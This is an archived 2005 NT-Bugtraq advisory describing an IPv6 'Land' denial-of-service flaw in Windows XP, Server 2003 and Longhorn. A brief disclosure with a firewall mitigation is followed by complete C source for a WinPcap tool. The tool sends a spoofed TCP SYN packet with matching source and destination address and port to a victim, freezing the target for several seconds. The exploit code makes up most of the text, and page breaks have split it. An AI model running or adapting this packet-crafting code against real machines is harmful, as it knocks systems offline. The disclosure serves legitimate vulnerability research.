

NT-Bugtraq: Windows (XP, 2k3, Longhorn) is vulnerable to IPv6 Land attack.

Windows (XP, 2k3, Longhorn) is vulnerable to IPv6 Land attack.

Source: <http://www.derkeiler.com/Mailing-Lists/NT-Bugtraq/2005-05/0006.html>

From: Konrad Malewski (*koyot_at_MOON.ONDRASZEK.DS.POLSL.GLIWICE.PL*)

Date: 05/16/05

Date: Mon, 16 May 2005 17:14:43 +0200

To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM

Hi!

The land attack described in –

<http://www.securityfocus.com/archive/1/392354> – is fixed for ipv4 by last security updates, but not for ipv6 protocol. As in IPv4 version of the attack, the build-in firewall has to be turned off to experience the result (1–5 seconds of DoS condition).

Tools used:

Attached source (I used vs7.1 to compile it) uses winpcap library – <http://winpcap.polito.it/>. This program attacks only IPv6 Link-Local addresses.

Results:

Sending one packet to open IPv6 port causes Windows to freeze for about 5 seconds (CPU usage goes 100%).

Vulnerable operating systems:

I have tested this bug on Windows XP SP2 + security updates up to now (16 may 2005), Windows 2003 Server SP1 + updates, Windows Longhorn b5048 (by the way L. is still "Land.IpV4 compatible":).

Solution:

Use build-in windows firewall to block open IPv6 ports (port 135 is open by default). Popular firewalls like zone alarm, sygate personal firewall and agnitum outpost firewall do not filter ipv6 so the attack has the same effect.

Ethics

Microsoft has been notified. The IPv6 is not widely used so threat is minimal (I hope).

Konrad Malewski
kmalewski at gmail.com

NT-Bugtraq: Windows (XP, 2k3, Longhorn) is vulnerable to IpV6 Land attack.

```
--  
NTBugtraq Editor's Note:  
Most viruses these days use spoofed email addresses. As such, using an Anti-Virus product which a  
--
```

```
//  
// Example usage: LandIPv6 \Device\NPF_{B1751317-BAA0-43BB-A69B-A0351960B28D}  
// fe80::2a1:b0ff:fe08:8bcc 135  
//  
// Written by: Konrad Malewski.  
//
```

```
#include <stdlib.h>  
#include <stdio.h>  
#include <Winsock2.h>  
#include <ws2tcpip.h>  
#include <pcap.h>  
#include <remote-ext.h>  
////////////////////////////////////  
//////////////////////////////////// from libnet //////////////////////////////////  
/* ethernet addresses are 6 octets long */  
#define ETHER_ADDR_LEN 0x6  
  
typedef unsigned char u_int8_t;  
typedef unsigned short u_int16_t;  
typedef unsigned int u_int32_t;  
typedef unsigned __int64 u_int64_t;  
/*  
* Ethernet II header  
* Static header size: 14 bytes  
*/  
struct libnet_ethernet_hdr  
{  
    u_int8_t ether_dhost[ETHER_ADDR_LEN];/* destination ethernet address */  
    u_int8_t ether_shost[ETHER_ADDR_LEN];/* source ethernet address */  
    u_int16_t ether_type; /* protocol */  
};  
  
struct libnet_in6_addr  
{  
    union  
    {  
        u_int8_t __u6_addr8[16];  
        u_int16_t __u6_addr16[8];  
        u_int32_t __u6_addr32[4];  
    } __u6_addr; /* 128-bit IP6 address */  
};  
  
/*  
* IPv6 header  
* Internet Protocol, version 6
```

NT-Bugtraq: Windows (XP, 2k3, Longhorn) is vulnerable to IPv6 Land attack.

```
* Static header size: 40 bytes
*/
struct libnet_ipv6_hdr
{
    u_int8_t ip_flags[4]; /* version, traffic class, flow label */
    u_int16_t ip_len; /* total length */
    u_int8_t ip_nh; /* next header */
    u_int8_t ip_hl; /* hop limit */
    struct libnet_in6_addr ip_src, ip_dst; /* source and dest address */

};

/*
* TCP header
* Transmission Control Protocol
* Static header size: 20 bytes
*/
struct libnet_tcp_hdr
{
    u_int16_t th_sport; /* source port */
    u_int16_t th_dport; /* destination port */
    u_int32_t th_seq; /* sequence number */
    u_int32_t th_ack; /* acknowledgement number */
    u_int8_t th_x2:4; /* (unused) */
    th_off:4; /* data offset */

    u_int8_t th_flags; /* control flags */
    u_int16_t th_win; /* window */
    u_int16_t th_sum; /* checksum */
    u_int16_t th_urp; /* urgent pointer */
};

int libnet_in_cksum(u_int16_t *addr, int len)
{
    int sum;
    union
    {
        u_int16_t s;
        u_int8_t b[2];
    } pad;
    sum = 0;
    while (len > 1)
    {
        sum += *addr++;
        len -= 2;
    }
    if (len == 1)
    {
        pad.b[0] = *(u_int8_t *)addr;
        pad.b[1] = 0;
        sum += pad.s;
    }
}
```

NT-Bugtraq: Windows (XP, 2k3, Longhorn) is vulnerable to IPv6 Land attack.

```
}
return (sum);
}
#define LIBNET_CKSUM_CARRY(x) (x = (x >> 16) + (x & 0xffff), (~x + (x >> 16)) & 0xffff)

////////////////////////////////////
////////////////////////////////////
u_char packet[74];
struct libnet_ipv6_hdr *ip6_hdr = (libnet_ipv6_hdr *) (packet + 14);
struct libnet_tcp_hdr *tcp_hdr = (libnet_tcp_hdr *) (packet + 54);
struct libnet_ethernet_hdr *eth_hdr = (libnet_ethernet_hdr *) packet;

u_char errbuf[1024];
pcap_t *pcap_handle;

void usage(char* n)
{
    pcap_if_t * alldevs,*d;
    int i=1;
    fprintf(stdout,"Usage:\n"
        "\t %s <device> <victim> <port>\n",n);

    if (pcap_findalldevs (&alldevs, (char*)errbuf) == -1)
    {
        fprintf( stderr, "Error in pcap_findalldevs ():%s\n" ,errbuf);
        exit(EXIT_FAILURE);
    }
    printf("Avaliable adapters: \n");
    d = alldevs;
    while (d!=NULL)
    {
        printf("\t%d) %s\n\t\t%s\n",i++,d->name,d->description);
        d = d->next;
    }
    pcap_freealldevs (alldevs);
}
////////////////////////////////////
int main(int argc, char* argv[])
{
    if ( argc<4 )
    {
        usage(argv[0]);
        return EXIT_FAILURE;
    }

    int retVal;
    struct addrinfo hints,*addrinfo;

    ZeroMemory(&hints,sizeof(hints));
```

NT-Bugtraq: Windows (XP, 2k3, Longhorn) is vulnerable to IPv6 Land attack.

```
WSADATA wsaData;
if ( WSAStartup( MAKEWORD(2,2), &wsaData ) != NO_ERROR )
{
    fprintf( stderr, "Error in WSAStartup():%d\n",WSAGetLastError());
    return EXIT_FAILURE;
}
//
// Get MAC address of remote host (assume link local IPv6 address)
//

hints.ai_family = PF_INET6;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
hints.ai_flags = AI_PASSIVE;

retVal = getaddrinfo(argv[2],0, &hints, &addrinfo);
if ( retVal!=0 )
{
    WSACleanup();
    fprintf( stderr, "Error in getaddrinfo():%d\n",WSAGetLastError());
    exit(EXIT_FAILURE);
}

//
// Open WinPCap adapter
//
if ( (pcap_handle = pcap_open_live (argv[1], 1514, PCAP_OPENFLAG_PROMISCUOUS, 100,
(char*)errbuf)) == NULL )
{
    freeaddrinfo(addrinfo);
    WSACleanup();
    fprintf(stderr, "Error opening device: %s\n",argv[1]);
    return EXIT_FAILURE;
}

ZeroMemory(packet,sizeof(packet));
struct sockaddr_in6 *sa = (struct sockaddr_in6 *) addrinfo->ai_addr;

// fill ethernet header
eth_hdr->ether_dhost[0] = eth_hdr->ether_shost[0] = 0;// assume address like 00:something;
eth_hdr->ether_dhost[1] = eth_hdr->ether_shost[1] = sa->sin6_addr.u.Byte[9];
eth_hdr->ether_dhost[2] = eth_hdr->ether_shost[2] = sa->sin6_addr.u.Byte[10];
eth_hdr->ether_dhost[3] = eth_hdr->ether_shost[3] = sa->sin6_addr.u.Byte[13];
eth_hdr->ether_dhost[4] = eth_hdr->ether_shost[4] = sa->sin6_addr.u.Byte[14];
eth_hdr->ether_dhost[5] = eth_hdr->ether_shost[5] = sa->sin6_addr.u.Byte[15];
eth_hdr->ether_type = 0xdd86;

// fill IP header
// source ip == destination ip
memcpy(ip6_hdr->ip_src.__u6_addr.__u6_addr8,sa->sin6_addr.u.Byte,sizeof(sa->sin6_addr.u.Byte));
memcpy(ip6_hdr->ip_dst.__u6_addr.__u6_addr8,sa->sin6_addr.u.Byte,sizeof(sa->sin6_addr.u.Byte));
```

NT-Bugtraq: Windows (XP, 2k3, Longhorn) is vulnerable to IPv6 Land attack.

```
ip6_hdr->ip_hl = 255;
ip6_hdr->ip_nh = IPPROTO_TCP;
ip6_hdr->ip_len = htons (20);
ip6_hdr->ip_flags[0] = 0x06 << 4;
srand((unsigned int) time(0));
// fill tcp header
tcp_hdr->th_sport = tcp_hdr->th_dport = htons (atoi(argv[3])); // source port equal to destination
tcp_hdr->th_seq = rand();
tcp_hdr->th_ack = rand();
tcp_hdr->th_off = htons(5);
tcp_hdr->th_win = rand();
tcp_hdr->th_sum = 0;
tcp_hdr->th_urp = htons(10);
tcp_hdr->th_off = 5;
tcp_hdr->th_flags = 2;
// calculate tcp checksum
int chsum = libnet_in_cksum ((u_int16_t *) & ip6_hdr->ip_src, 32);
chsum += ntohs (IPPROTO_TCP + sizeof (struct libnet_tcp_hdr));
chsum += libnet_in_cksum ((u_int16_t *) tcp_hdr, sizeof (struct libnet_tcp_hdr));
tcp_hdr->th_sum = LIBNET_CKSUM_CARRY (chsum);
// send data to wire
retVal = pcap_sendpacket (pcap_handle, (u_char *) packet, sizeof(packet));
if ( retVal == -1 )
{
    fprintf(stderr,"Error writing packet to wire!!\n");
}
//
// close adapter, free mem.. etc..
//
pcap_close(pcap_handle);
freeaddrinfo(addrinfo);
WSACleanup();
return EXIT_SUCCESS;
}
```

--

NTBugtraq Editor's Note:

Most viruses these days use spoofed email addresses. As such, using an Anti-Virus product which a

--